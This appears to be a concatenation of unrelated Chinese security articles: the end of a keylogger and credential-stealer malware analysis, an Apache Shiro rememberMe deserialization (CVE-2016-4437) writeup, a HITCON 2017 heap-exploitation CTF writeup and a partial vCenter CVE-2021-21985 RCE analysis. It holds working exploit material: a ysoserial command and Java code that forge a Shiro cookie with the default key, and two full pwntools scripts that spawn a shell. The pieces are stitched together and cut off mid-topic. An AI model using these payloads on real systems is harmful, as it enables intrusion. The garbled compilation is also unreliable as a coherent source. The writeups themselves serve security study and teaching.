“%appdata%ScreenShotscreen.jpeg”。随后使用base64对screen.jpeg文件进行编码，最后使用“screenshots”命令发送到C&C服务器上。
它会每隔10分钟都进行一次屏幕截图并上传，所以恶意软件的作者可以看到用户正在进行的工作。下图是恶意软件通过调用发送函数，向C&C服务器发送一个screen.jpeg文件：
**窃取已安装软件的用户凭据**
在main函数的最后，创建了另一个线程，其功能是从计算机上的各种已安装软件中收集凭据。它可以从系统注册表、本地配置文件、SQLite数据库文件中收集用户凭据。一旦它捕获到一个软件的凭据，就会立即将其发送到C&C服务器。一个HTTP数据包只包含一个软件的凭据。
根据我们的分析，该恶意软件可以从下列软件中获取凭据：
浏览器：Google Chrome, Mozilla Firefox, Opera, Yandex, Microsoft IE, Apple Safari,
SeaMonkey, ComodoDragon, FlockBrowser, CoolNovo, SRWareIron, UC browser, Torch
Browser
邮件客户端：Microsoft Office Outlook, Mozilla Thunderbird, Foxmail, Opera Mail,
PocoMail, Eudora, TheBat!
FTP客户端：FileZilla, WS_FTP, WinSCP, CoreFTP, FlashFXP, SmartFTP, FTPCommander
动态DNS：DynDNS, No-IP
视频聊天软件：Paltalk, Pidgin
下载软件：Internet Download Manager, JDownloader
在我们的实验中，使用了微软Outlook进行测试，下图是发送到C&C服务器的Outlook数据的内容：
**C &C命令格式**
C&C命令格式字符串如下：
"type={0}&hwid={1}&time={2}&pcname={3}&logdata={4}&screen={5}&ipadd={6}&wbscreen={7}&client={8}&link={9}&username={10}&password={11}&screen_name={12}"
其中每个字段的含义如下：
type（命令名称），hwid（硬件ID），time（当前日期和时间），pcname（主机名），logdata（键盘输入和剪贴板内容），screen（base64编码后的屏幕截图），ipadd（IP地址，该项不使用），wbscreen（摄像头的图像内容），client（软件名称），link（软件的网址），username（登录用户名），password（登录密码），screen_name（屏幕名称，该项不使用）。
下表列出了恶意软件支持的所有C&C命令 (类型字段)：
**
**
**结语**
经过以上深入的分析，我们已经知道该恶意软件的主要目的是收集用户的系统信息，不断记录用户的键盘输入和系统剪贴板内容，并获取一些流行软件的凭据。
然而，我们认真阅读了反编译后的*.cs文件，发现在这个恶意软件中还内置一些尚未启用的功能，它们包括：
使用SMTP协议与服务器通信；
获取系统硬件信息（包括处理器、内存和显卡）；
启动用户的摄像头并收集图像；
将JavaUptr.exe添加到系统注册表中启动项，然后重启系统；
关闭正在运行的分析进程、杀毒软件或键盘记录软件。
在该恶意软件的后续变种中，很有可能会启用这些功能。因此，我们需要避免打开来源不明的文件，谨慎启用Word中的VBA宏功能，加强对恶意软件的防范。 | 社区文章 |
## 影响范围
Apache Shiro <=1.2.4(由于密钥泄露的问题, 部分高于1.2.4版本的Shiro也会受到影响)
## 漏洞类型
反序列化导致RCE
## 漏洞概述
Apache Shiro 是ASF旗下的一款开源软件，它提供了一个强大而灵活的安全框架，提供身份验证、授权、密码学和会话管理。
Apache Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中，攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令~
## 漏洞分析
### 环境搭建
下载漏洞文件：
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
导入IDEA:
修改pom.xml文件，添加以下依赖项(否则无法识别jsp标签)：
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
<scope>runtime</scope>
</dependency>
之后部署该项目，首先添加本地tomcat环境：
之后添加项目到Tomcat：
之后启动Tomcat，在浏览器中访问项目：
至此，环境搭建完成~
### Issues分析
官方给出以下Issues:<https://issues.apache.org/jira/browse/SHIRO-550>
从上面可以了解到，在默认情况下Shiro会使用CookieRememberMeManager功能，当后端接收到来自未经身份验证的用户的请求时，它将通过执行以下操作来寻找他们记住的身份：
1. 检索cookie中RememberMe的值
2. Base64解码
3. 使用AES解密
4. 反序列化
由于AES加解密的秘钥被硬编码在代码中，这意味着有权访问源代码的任何人都知道默认加密密钥是什么，因此，攻击者可以创建一个恶意对象并对其进行序列化，编码，然后将其作为cookie发送，然后Shiro将解码并反序列化，从而导致恶意代码执行~
### 动态调试分析
#### 定位漏洞文件
鉴于Issues的描述，我们跟踪RememberMeManager到shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\mgt\RememberMeManager.class中，发现其中并没有硬编码的加密密钥：
于是，跟踪其父类AbstractRememberMeManager查看，发现经过base64硬编码的秘钥，因为 AES
是对称加密，即加密密钥也同样是解密密钥：
之后继续向上跟踪查看AbstractRememberMeManager类需要实现RememberMeManager接口有哪些：登陆认证（成功、失败）、退出登录
#### 设置RememberMe
基于issues中当来自未经身份验证的用户的请求时，才会涉及：检索cookie中RememberMe的值、Base64解码、使用AES解密
、反序列化操作，所以不妨直接在AbstractRememberMeManager的onSuccessfulLogin处下断点，之后使用初始化的用户模拟未经身份验证的用户进行登录操作，先来跟踪一下RememberMe的生成流程：
之后点击debug开启Tomcat服务：
之后点击页面的Log in进入登录认证页面，使用系统用户root/secret进行登录，并勾选"Remember
Me"(这一点非常非常重要），之后点击"Login"进行登录：
之后成功来到我们的断点处：
此处的forgetIdentity主要用来初始化构造一些请求和响应的字段：
之后调用重载方法forgetIdentity设置cookie与常见的一些字段：
之后判断this.isRememberMe(token）是否为空，由于我们在登陆认证时勾选了rememberme的选项框所以这里不为空，会继续走到rememberIdentity函数中，而该函数重要用于生成cookie中的remember的值，也是该漏洞的关键点，我们继续跟进：
之后继续跟进该函数，可以看到rememberIdentity函数首先会调用getIdentityToRemember函数来获取用户身份，也就是"root"：
接着我们跟进rememberIdentity构造方法，从函数命名上来看这里会将用户的身份也就是"root"转换成字节，我们下面跟进看看：
#### 序列化操作
从下面的代码中可以看到，此出会对principals(即：root)进行一次序列化操作，之后当CipherService即加密服务不为空的情况下会进行一次加密操作：
之后跟进该序列化操作，可以看到序列化的类为PrincipalCollection:
最终在DefaultSerializer类中的serialize方法中完成序列化操作：
#### AES加密操作
之后跟进加密操作函数encrypt：
encrypt函数中通过getCipherService来获取当前的加密方式，之后使用GetEncryptionCipherKey来获取加密秘钥，可以看到这里使用的加密方式为AES/CBC/PKCS5Padding，之后通过cipherService.encrypt来实现对root的加密：
跟进getEncryptionCipherKey函数发现，发现encryptionCipherKey为常量值：
而在该类的构造函数中会调用this.setCipherKey对encryptionCipherKey进行初始化赋值操作，而初始化参数为DEFAULT_CIPHER_KEY_BYTES，所以这里AES的加密解密秘钥由DEFAULT_CIPHER_KEY_BYTES指定：
之后就是一些加密操作了，我们直接一路F8跳过即可，之后返回rememberIdentity
#### Base64编码
之后跟进rememberSerializedIdentity函数，在此处会将序列化后的cookie进行base64编码，之后再将base64编码后的cookie信息进行存储：
#### 设置cookie
之后调用saveTo方法保存cookie
至此，正向的Cookie的生成方式分析完毕，下面反向跟踪分析Cookie中Remember的解析过程，也是最终触发反序列化的过程~
#### 检索RememberMe
使用burpsuite构造以下请求并在shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\mgt\AbstractRememberMeManager.class的getRememberedIdentity处下断点进行调试，之后跟进getRememberedPrincipals：
下面的getRememberSerializedIdentity主要用于提取cookie并进行base64解码操作，而convertBytesToPrincipals主要用于AES解密：
之后跟进getRememberedSerializedIdentity，在此处会调用getCookie来检索Cookie：
之后跟进getCookie函数，此时返回为空：
之后再次跟进readValue函数，此时进行取cookie操作：
#### Base64解密
之后回到getRememberedSerializedIdentity函数中继续往下分析，之后会对cookie进行一次base64解密操作：
最后以字节数组的形式返回bas64解密后的cookie值：
之后回到getRememberedPrincipals函数，接着会进入到convertBytesToPrincipals函数中，进行AES解密和反序列化：
跟进convertBytesToPrincipals函数，可以看到此处会先进行AES解密，之后将解密的结果反序列化后返回：
#### AES解密
下面跟进decrypt方法，可以看到此处会继续调用cipherService.decrypt：
下面继续跟进，最终调用decrypt函数：
之后返回AES解密后的数据：
#### 反序列化操作
之后进入到deserialize中，继续跟进：
最后会进入到进DefaultSerializer类的deserialize函数，并在此处调用readobject完成反序列化操作，从而触发反序列化操作：
### 漏洞复现
这里提供一种较为简单通用的漏洞检测方式——Ysoserial的URLDNS这个Gadget +
DNSLog，因为URLDNS这一个Gadget不依赖于任何第三方依赖，只与JDK底层相关，该利用链如下所示，这里就不再展开了，有兴趣的可以了解一下：
HashMap.readObject()
-> HashMap.hash()
-> URL.hashCode()
-> URLStreamHandler.hashCode()
-> URLStreamHandler.getHostAddress()
下面是漏洞复现的具体的操作流程：
#### 生成Gadget
首先，使用Ysoserial来生成URLDNS的Gadget：
java -jar ysoserial.jar URLDNS "http://eamhcf.dnslog.cn" > poc.ser
#### AES加密操作
使用JAVA实现对Gadget进行一次AES加密处理：
package ysoserial;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(Paths.get("C:\\Users\\Hepta\\Desktop\\ysoserial\\poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
#### Base64加密处理
#### 发送恶意请求
一段时间后得到回显：
DNSLog接收到请求：
由此，确定漏洞的存在~
PS:在实战中如果需要反弹shell时可以使用Ysoserial的其他Gadget，之后进行AES加密、Base64加密，然后构造特定的请求即可，这里这对该漏洞做一个简要的分析与检测，深入利用不再赘述，有兴趣的可以去了解一下~
## 漏洞修复
Shiro 版本至 1.2.5 以上
## 参考链接
<https://issues.apache.org/jira/browse/SHIRO-550>
<https://vulhub.org/#/environments/shiro/CVE-2016-4437/>
<https://paper.seebug.org/shiro-rememberme-1-2-4/>
<http://saucer-man.com/information_security/396.html>
<https://www.cnblogs.com/panisme/p/12552838.html>
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4437>
<https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/> | 社区文章 |
# 【CTF攻略】hitcon2017之ghost in the heap writeup
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[mute_pig](http://bobao.360.cn/member/contribute?uid=1334092065)
预估稿费：600RMB
（本篇文章享受双倍稿费 活动链接请[点击此处](http://bobao.360.cn/news/detail/4370.html)）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
这次出题人是上次 **houseoforange**
的出题人[angelboy](http://4ngelboy.blogspot.tw/)，这次出题的思路也很赞，光是想个 **unsorted bin**
的构造就想了两天，可惜的是最后使用 **houseoforange** 的时候发现是用了添加 **vtable** 验证的最新版 **libc**
，所以只能在赛后研究[出题人题解](https://github.com/scwuaptx/CTF/tree/master/2017-writeup/hitcon/ghost_in_the_heap)了。
**1\. ALL**
****
照例还是先看一下保护，和去年一样保护全开；接着看一下各个功能：
**new heap**
最多可以申请3个堆，大小固定的是0xa8，申请完就读值进去，然后会在字符串最后加个 **x00** 。
**delete heap**
首先获取要释放堆的下标(0-2)，然后释放后只是将其 **ptr** 置0( **heapptr**
**[index]=0](http://www.mutepig.club/index.php/archives/70/)** )，但并没有将其空间置0。
**add ghost**
**ghost** 只能有一个，会 **malloc** 0x50的空间，最后8位是读入一个数字 **magic** ；之前的0x47是
**description** ，如果最后一个是 **n** 则替换为 **x00** 。
**remove ghost**
直接释放 **ghost** 的 **ptr** 。
**watch ghost**
判断有没有 **ghost** ，接着读入 **magic** 判断是否和上面输入的相同，不同就退出，相同就打印 **description** 。
那么可以总结一下主要功能：可以申请3个大小为0xb0的 **chunk** ,并且可以覆盖下一个 **chunk** 的 **size**
的最低位；以及可以申请一个大小为0x60的 **chunk** ；这四个 **chunk** 都能被释放且不会清空其中的内容，但不能修改各个
**chunk** 的内容；最后就是能查看内容的只有0x60的 **chunk** 。
**2\. LEAK**
****
**a) libc**
**unlink** 已经构造好了，那么关键就是泄露地址了，由于能查看内容的只有 **ghost** ，所以需要围绕它来进行构造。这里需要泄露
**libc** 和 **heap** 的地址。 泄露地址和一般一样，就是因为释放空间后没有清空，所以可以直接释放后再申请后打印， **libc**
的地址就存进去了。 由于 **ghost** 是没有强行加 **x00** 的，所以我们可以覆写 **fd** 但是打印出来 **bk** 。 于是可以构造
newheap(0)
newheap(1)
delheap(0)
addghost(1,'1'*8)
这样就能将 **libc** 的地址泄露出来了，但是我们还需要泄露堆地址。
**b) heap**
泄露堆地址的方法其实和泄露 **libc** 的一样，都是利用释放后的 **smallbins** 的链表，只是泄露 **libc** 只需要释放一个
**chunk** 就行了，但是泄露 **heap** 就需要释放两个才行。
# 将ghost加入fastbin
newheap(0)
addhost(1,'1')
delghost()
# 构造堆
newheap(1)
newheap(2)
结果上面两步之后，形成堆结构如下：
+=======+
heap_0
+=======+
fastbin
+=======+
heap_1
+=======+
heap_2
+=======+
然后释放 **heap_2** ，由于和 **top** 合并使得最后的 **size** 超过了 **fastbin** 的收缩阈值，所以就会调用
**malloc_consolidate** 将 **ghost** 加入 **unsorted bin**
delheap(2)
接着将 **heap_1** 和 **ghost** 合并
newheap(2)
delheap(1)
形成堆结构如下：
+=======+
heap_0
+=======+
heap_1+ghost => unsorted bin
+=======+
heap_2
+=======+
接着继续分割战场
newheap(1)
delheap(0)
形成堆结构如下：
+=======+
heap_0 => unsorted bin
+=======+
heap_1
+=======+
unsorted bin #(will be malloced to GHOST)
+=======+
heap_2
+=======+
那么此时我们就已经拥有了两个 **unsorted bin** ，那么最后创建 **ghost** 就能继承 **unsorted bin** 了，并且其
**fd** 和 **bk** 都指向 **heap_0** 。 最后放个总的流程图：
**
**
**3\. EXPLOIT**
攻击思路有下面两个，不过都存在点问题需要绕过 * unlink 由于需要绕过 **unlink** 的判断，所以我们需要找到一个指向 **P+0X10**
的指针，也就是需要伪造一个堆才行。 那么在 **free** 的时候， **unlink** 可以合并前面或者后面的空闲块，但在这都有限制：
前： 需要伪造P->prev_size并且P->PREV_INUSE=0，但是这里P->size都小于0x100，用NULL BYTE覆盖后size就为0了，所以不行
后： 需要伪造P->size，失败原因同上
而最关键的是，这里不存在修改某 **chunk** 的功能，同时由于开启了 **PIE** 也无法泄露 **heap_ptr** 的地址，所以
**unlink** 应该是不行的。 * houseoforange 由于这里的 **ghost** 大小正好是0x60，那么如果我们将它置入
**unsorted bin** ，并且之后可以修改 **ghost- >bk**，那么就能够实现攻击。 首先申请如下的堆
newheap(0)
addghost(1, '1')
newheap(1)
newheap(2)
接着将 **ghost** 加入 **unsorted bin** 同时和释放的 **heap_0** 合并，再把 **heap2_2** 申请出来用来隔断
**top** ，最后释放 **heap_1** 将 **heap_2** 以上合并成一个整块
delghost()
delheap(0)
delheap(2)
newheap(2)
delheap(1)
接着释放 **heap_0** ，再重新申请用来覆盖 **unsorted bin** 的 **size** ，使之从0x110->0x100
newheap("0"*0xa0 + p64(0xb0))
到这一步骤的流程图如下：
接着再申请 **heap_1** ，使得 **unsorted bin** 的 **PREV_INUSE** 变成1，这样才能释放 **heap_0**
newheap(1)
delheap(1)
delheap(0)
最后申请一个 **ghost** ，再申请一个 **heap_0** ，这时 **heap_2** 的上一个 **chunk** 的指向就被
**heap_0** 包含了，从而我们可以在 **heap_0** 里面构造一个 **fake_chunk**
+=======+
ghost (0x60)
+=======+
heap_0 (0xb0)
+=======+
unsorted bin (0xa0)
+=======+
无主之地 (0x10)
+=======+
heap_2 (prev_size=0x110 包含于heap_0 size=0x60表示上一块没使用)
+=======+
到这里的流程图如下：
这样最后释放 **heap_2** 的时候，就会调用 **unlink** 与我们构造的 **fake_chunk** 合并为一个 **unsorted
bin** ，而我们此时可以控制其头部，于是就可以实现 **houseoforange** 攻击了。 由于给的 **libc** 是最新版的，所以对
**vtable** 进行了校验，所以无法使用 **houseoforange** 。那么先放个本地成功的 **exp** ：
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
p = process("./ghost")
libc = ELF("./libc.so.6")
def newheap(data):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Data :")
p.sendline(str(data))
def delheap(index):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
def addghost(magic, desc):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Magic :")
p.sendline(str(magic))
p.recvuntil("Description :")
p.send(desc)
def seeghost(magic):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Magic :")
p.sendline(str(magic))
def delghost():
p.recvuntil("Your choice: ")
p.sendline("5")
def leak_libc():
newheap("0")
newheap("1")
delheap(0)
addghost(1,'1'*8)
seeghost(1)
ret = p.recvuntil('$')
addr = ret.split('11111111')[1][:-1].ljust(8,'x00')
unsorted_addr = u64(addr)-0xa0
libc_addr = (unsorted_addr & 0xfffffffff000)-0x3c4000
delghost()
delheap(1)
return unsorted_addr , libc_addr
def leak_heap():
newheap("0")
addghost(1,'1'*8+'2'*8)
delghost()
newheap("1")
newheap("2")
delheap(2)
newheap("2")
delheap(1)
newheap("1")
delheap(0)
addghost(1,'1'*9)
#delheap(0)
seeghost(1)
ret = p.recvuntil('$')
addr = ret.split('11111111')[1][:-1].ljust(8,'x00')
heap_addr = (u64(addr)-0x31)
delghost()
delheap(1)
delheap(2)
return heap_addr
def houseoforange(heap_addr):
write_addr = heap_addr + 0x70
aim_addr = heap_addr + 0xb0
fd = write_addr - 0x18
bk = write_addr - 0x10
# malloc for 4
newheap("0")
addghost(1,'1')
newheap("1")
newheap("2")
# unsortedbin(0x1c0) heap_2
delghost()
delheap(0)
delheap(2)
newheap("2")
delheap(1)
# heap_0 unsortedbin(0x100) nobody(0x10) heap_2
newheap("0"*0xa0 + p64(0xb0))
newheap("1")
delheap(1)
delheap(0)
# heap_0=>fake_chunk
addghost(1,p64(0) + p64(system_addr))
payload = p64(aim_addr) + p64(aim_addr)
payload += "0"*0x30 + p64(0) + p64(0x111) + p64(fd) + p64(bk)
newheap(payload)
newheap("dddddd")
delheap(2)
newheap(2)
delheap(1)
payload = p64(0xffffffffffffffff) + p64(0)*2 + p64(heap_addr+0x18-0x18)
newheap(payload)
delheap(0)
delheap(2)
payload = "0"*0x40 + "/bin/shx00" + p64(0x61) + p64(0) + p64(io_addr-0x10) + p64(2) + p64(3)
newheap(payload)
p.recvuntil("Your choice: ")
p.sendline("1")
if __name__=='__main__':
unsorted_addr, libc_addr = leak_libc()
system_addr = libc_addr + libc.symbols['system']
io_addr = unsorted_addr + 0x9a8
free_hook_addr = libc_addr + libc.symbols['__free_hook']
heap_addr = leak_heap()
log.success("unsorted_addr: %s"%(hex(unsorted_addr)))
log.success("system_addr: %s"%(hex(system_addr)))
log.success("free_hook_addr: %s"%(hex(free_hook_addr)))
log.success("heap_addr: %s"%(hex(heap_addr)))
log.success("io_addr: %s"%(hex(io_addr)))
raw_input()
houseoforange(heap_addr)
p.interactive()
**4\. 正解思路**
****
上面的 **houseoforange** 其实已经接近正解了，但是由于 **libc** 的原因所以没法实现。 正解思路是利用 **unsorted
bin attck** 来覆盖 **stdin** 的 **buf_end** ，由于 **unsorted bin** 的位置是在
**main_arena** 中，所以在 **scanf** 中调用 **ead (fp- >_fileno, buf,
size))**来将数据先读入缓冲区这里会使得 **size=unsorted bin-buf_base** ，于是可以篡改 **stdin** 到
**unsorted bin** 中的所有数据，也包括 **malloc_hook** 的指向，最终实现 **getshell**
，下面我们从源码层面分析一下： 首先跟踪一下 **scanf** 的源码，看一下如何走到 **read** 函数。 在
**_IO_vfscanf_internal** 先调用了一下 **inchar**
618
619 fc = *f++;
620 if (skip_space || (fc != L_('[') && fc != L_('c')
621 && fc != L_('C') && fc != L_('n')))
622 {
623
624 int save_errno = errno;
625 __set_errno (0);
626 do
627
631 if (__builtin_expect ((c == EOF || inchar () == EOF) // 读入字符
632 && errno == EINTR, 0))
633 input_error ();
634 while (ISSPACE (c));
635 __set_errno (save_errno);
636 ungetc (c, s);
637 skip_space = 0;
638 }
看一下 **inchar** 的定义，发现这里调用了 **_IO_getc_unlocked** ，而 **_IO_getc_unlocked** 调用了
**__uflow**
117 # define inchar() (c == EOF ? ((errno = inchar_errno), EOF)
118 : ((c = _IO_getc_unlocked (s)),
119 (void) (c != EOF
120 ? ++read_in
121 : (size_t) (inchar_errno = errno)), c))
400 #define _IO_getc_unlocked(_fp)
401 (_IO_BE ((_fp)->_IO_read_ptr >= (_fp)->_IO_read_end, 0)
402 ? __uflow (_fp) : *(unsigned char *) (_fp)->_IO_read_ptr++)
那么可以参考一下我在博客中[unflow的分析，可以知道它会调用 **_IO_new_file_underflow** ，并调用
**_IO_file_read** ，最终调用 **__read (fp- >_fileno, buf, size))**来将数据先读入缓冲区，这时
**fp_fileno** 指向 **stdin** , **buf** 指向 **buf_base** ，而 **size=buf_end-buf_base** 。 可以看下 **angelboy** 给的原理图：
除了修改 **buf_end** 之外，还需要不让函数报错，一个是 **_IO_vfscanf_internal** 中的
3021 UNLOCK_STREAM (s);
需要让 **lock** 合法，另一个就是要通过 **vtable** 的校验。 最终跳转的地址是 **libc** 中一段可以 **getshell**
的位置，大致是调用了 **execve("/bin/sh",argv,env)** 。 最终exp如下，如果要改 **libc** 的话需要注意的是求
**libc** 地址的偏移，以及各个 **stdin** 属性的偏移：
#!/usr/bin/env python
# encoding: utf-8
p = process("./ghost")
libc = ELF("./libc.so.6")
def newheap(data):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Data :")
p.sendline(str(data))
def delheap(index):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
def addghost(magic, desc):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Magic :")
p.sendline(str(magic))
p.recvuntil("Description :")
p.send(desc)
def seeghost(magic):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Magic :")
p.sendline(str(magic))
def delghost():
p.recvuntil("Your choice: ")
p.sendline("5")
def leak_libc():
newheap("0")
newheap("1")
delheap(0)
addghost(1,'1'*8)
seeghost(1)
ret = p.recvuntil('$')
addr = ret.split('11111111')[1][:-1].ljust(8,'x00')
unsorted_addr = u64(addr)-0xa0
libc_addr = (unsorted_addr & 0xfffffffff000)-0x3c1000
delghost()
delheap(1)
return libc_addr
def leak_heap():
newheap("0")
addghost(1,'1'*8+'2'*8)
delghost()
newheap("1")
newheap("2")
delheap(2)
newheap("2")
delheap(1)
newheap("1")
delheap(0)
addghost(1,'1'*9)
#delheap(0)
seeghost(1)
ret = p.recvuntil('$')
addr = ret.split('11111111')[1][:-1].ljust(8,'x00')
heap_addr = (u64(addr)-0x31)
delghost()
delheap(1)
delheap(2)
return heap_addr
def exploit(heap_addr):
write_addr = heap_addr + 0x70
aim_addr = heap_addr + 0xb0
fd = write_addr - 0x18
bk = write_addr - 0x10
# malloc for 4
newheap("0")
addghost(1,'1')
newheap("1")
newheap("2")
# unsortedbin(0x1c0) heap_2
delghost()
delheap(0)
delheap(2)
newheap("0")
newheap("2")
delheap(1)
# heap_0 unsortedbin(0x100) nobody(0x10) heap_2
delheap(0)
newheap("0"*0xa0 + p64(0xb0))
newheap("1")
delheap(1)
delheap(0)
# heap_0=>fake_chunk
addghost(1,"/bin/shx00")
payload = p64(aim_addr) + p64(aim_addr)
payload += "0"*0x30 + p64(0) + p64(0x111) + p64(fd) + p64(bk)
newheap(payload)
newheap("1")
delheap(2)
# now we have unsorted bin in heap_0
# ghost(0x60) heap_0(0xb0)(unsorted bin here) smallbins heap_1
newheap(2)
delheap(1)
newheap("0")
delheap(0)
# unsorted bin attack
delheap(2)
payload = "x00"*0x40 + p64(0) + p64(0xb1) + p64(0) + p64(buf_end_addr-0x10)
newheap(payload)
payload = ("x00"*5 + p64(lock_addr) + p64(0)*9 + p64(io_jump_addr)).ljust(0x1ad,"x00")+ p64(system_addr) # set stdin->buf_end = unsorted_bin_addr
newheap(payload)
delheap(0)
if __name__=='__main__':
libc_addr = leak_libc()
system_addr = libc_addr + 0xf24cb
malloc_hook_addr = libc_addr + libc.symbols['__malloc_hook']
buf_end_addr = libc_addr + 0x3c1900
lock_addr = libc_addr + 0x3c3770
io_jump_addr = libc_addr + 0x3be400
heap_addr = leak_heap()
log.success("system_addr: %s"%(hex(system_addr)))
log.success("malloc_hook_addr: %s"%(hex(malloc_hook_addr)))
log.success("heap_addr: %s"%(hex(heap_addr)))
log.success("stdin_addr: %s"%(hex(buf_end_addr)))
#raw_input()
exploit(heap_addr)
p.interactive()
那么这里最后还有个问题，就是明明我们修改的是 **__malloc_hook** ，为啥最后是调用 **delheap**
来实现跳转的呢？这是因为在最后调用 **free** 的时候，出现了报错，所以调了 **malloc_printerr** 来打印错误，而这个函数是会调用
**malloc** 的，调用过程如下：
#0 __GI___libc_malloc (bytes=bytes@entry=0x24) at malloc.c:2902
#1 0x00007fdb8b341f5a in __strdup (s=0x7fff4018f390 "/lib/x86_64-lin"...) at strdup.c:42
#2 0x00007fdb8b33d7df in _dl_load_cache_lookup (name=name@entry=0x7fdb8b0e7646 "libgcc_s.so.1") at dl-cache.c:311
#3 0x00007fdb8b32e169 in _dl_map_object (loader=loader@entry=0x7fdb8b5494c0, name=name@entry=0x7fdb8b0e7646 "libgcc_s.so.1", type=type@entry=0x2, trace_mode=trace_mode@entry=0x0, mode=mode@entry=0x90000001, nsid=) at dl-load.c:2342
#4 0x00007fdb8b33a577 in dl_open_worker (a=a@entry=0x7fff4018fa80) at dl-open.c:237
#5 0x00007fdb8b335564 in _dl_catch_error (objname=objname@entry=0x7fff4018fa70, errstring=errstring@entry=0x7fff4018fa78, mallocedp=mallocedp@entry=0x7fff4018fa6f, operate=operate@entry=0x7fdb8b33a4d0, args=args@entry=0x7fff4018fa80) at dl-error.c:187
#6 0x00007fdb8b339da9 in _dl_open (file=0x7fdb8b0e7646 "libgcc_s.so.1", mode=0x80000001, caller_dlopen=0x7fdb8b070b81, nsid=0xfffffffffffffffe, argc=, argv=, env=0x7fff401907a8) at dl-open.c:660
#7 0x00007fdb8b09e56d in do_dlopen (ptr=ptr@entry=0x7fff4018fca0) at dl-libc.c:87
#8 0x00007fdb8b335564 in _dl_catch_error (objname=0x7fff4018fc90, errstring=0x7fff4018fc98, mallocedp=0x7fff4018fc8f, operate=0x7fdb8b09e530, args=0x7fff4018fca0) at dl-error.c:187
#9 0x00007fdb8b09e624 in dlerror_run (args=0x7fff4018fca0, operate=0x7fdb8b09e530) at dl-libc.c:46
#10 __GI___libc_dlopen_mode (name=name@entry=0x7fdb8b0e7646 "libgcc_s.so.1", mode=mode@entry=0x80000001) at dl-libc.c:163
#11 0x00007fdb8b070b81 in init () at ../sysdeps/x86_64/backtrace.c:52
#12 __GI___backtrace (array=array@entry=0x7fff4018fd00, size=size@entry=0x40) at ../sysdeps/x86_64/backtrace.c:105
#13 0x00007fdb8af7a9f5 in backtrace_and_maps (do_abort=, do_abort@entry=0x2, written=, fd=fd@entry=0x3) at ../sysdeps/unix/sysv/linux/libc_fatal.c:47
#14 0x00007fdb8afd27e5 in __libc_message (do_abort=do_abort@entry=0x2, fmt=fmt@entry=0x7fdb8b0ebe98 "*** Error in `%"...) at ../sysdeps/posix/libc_fatal.c:172
#15 0x00007fdb8afdb37a in malloc_printerr (ar_ptr=, ptr=, str=0x7fdb8b0ebff0 "free(): invalid"..., action=0x3) at malloc.c:5006
#16 _int_free (av=, p=, have_lock=0x0) at malloc.c:3867
#17 0x00007fdb8afdf53c in __GI___libc_free (mem=) at malloc.c:2968 | 社区文章 |
#### 漏洞分析
这个漏洞披露也有一段时间了
根据老外对补丁的分析文章
<https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985#rapid7-analysis>
初步的对漏洞有些了解
通过补丁对比，只要对两个地方进行了修复
`h5-vsan-context.jar!/WEB-INF/web.xml`
删除了对 `/rest/*` 的路由映射，没有开放路由访问会返回401，表示已经修复
在 `com.vmware.vsan.client.services.ProxygenController` 类中添加了对 `method` 的判断
这都不重要。
##### 0x01 利用了Java反射方法
在 `com/vmware/vsan/client/services/ProxygenController.class:117`
大致能确定应该是通过反射调用类来触发远程代码执行漏洞。
##### 0x02 基本参数构造
这里使用的spring框架，所以通过`RequestMapping`
就可以获得路由的构造，通过访问路由`/service/{beanIdOrClassName}/{methodName}` 就可以获取到
`beanIdOrClassName` `methodName` 和 json格式的body。
rawData = (List)body.get("methodInput");
body是接收的json格式，rawData有被强转换成 List类型
所以构造的body格式如下
{"methodInput": [null]}
然后传入到 `invokeService` 函数中进行调用。
##### 0x03 寻找可利用的Spring Bean
通过 `Class.forName(beanIdOrClassName);` 传入的class名
然后会在spring
bean在中获取对应class名的bean实体，在获取对应的方法列表，这些注册的bean中又存在危险方法和可利用Bean时，就可以进一步进行反射调用，从而达到远程命令执行的后果
在 `h5-vsan-service.jar!/META-INF/spring/base/vsan-base-context.xml:35`
出现可疑的类 `org.springframework.beans.factory.config.MethodInvokingFactoryBean`
进入继承类，
再进入继承类，直到最底层 `org.springframework.util.MethodInvoker`
会发现这里方法大多都是公开类型，说明在外部可以直接调用，并且还存在一个 `invoke()` 方法
综上所述 `vsanProviderUtils_setVmodlHelper` 端点的漏洞触发就是基于 `MethodInvoker` 类的反射调用了
##### 0x04 构造利用链
接着开始构造利用链
vSphere UI 默认是Tomcat中间件，所以用Tomcat RMI Bypass 的方式就能远程命令执行
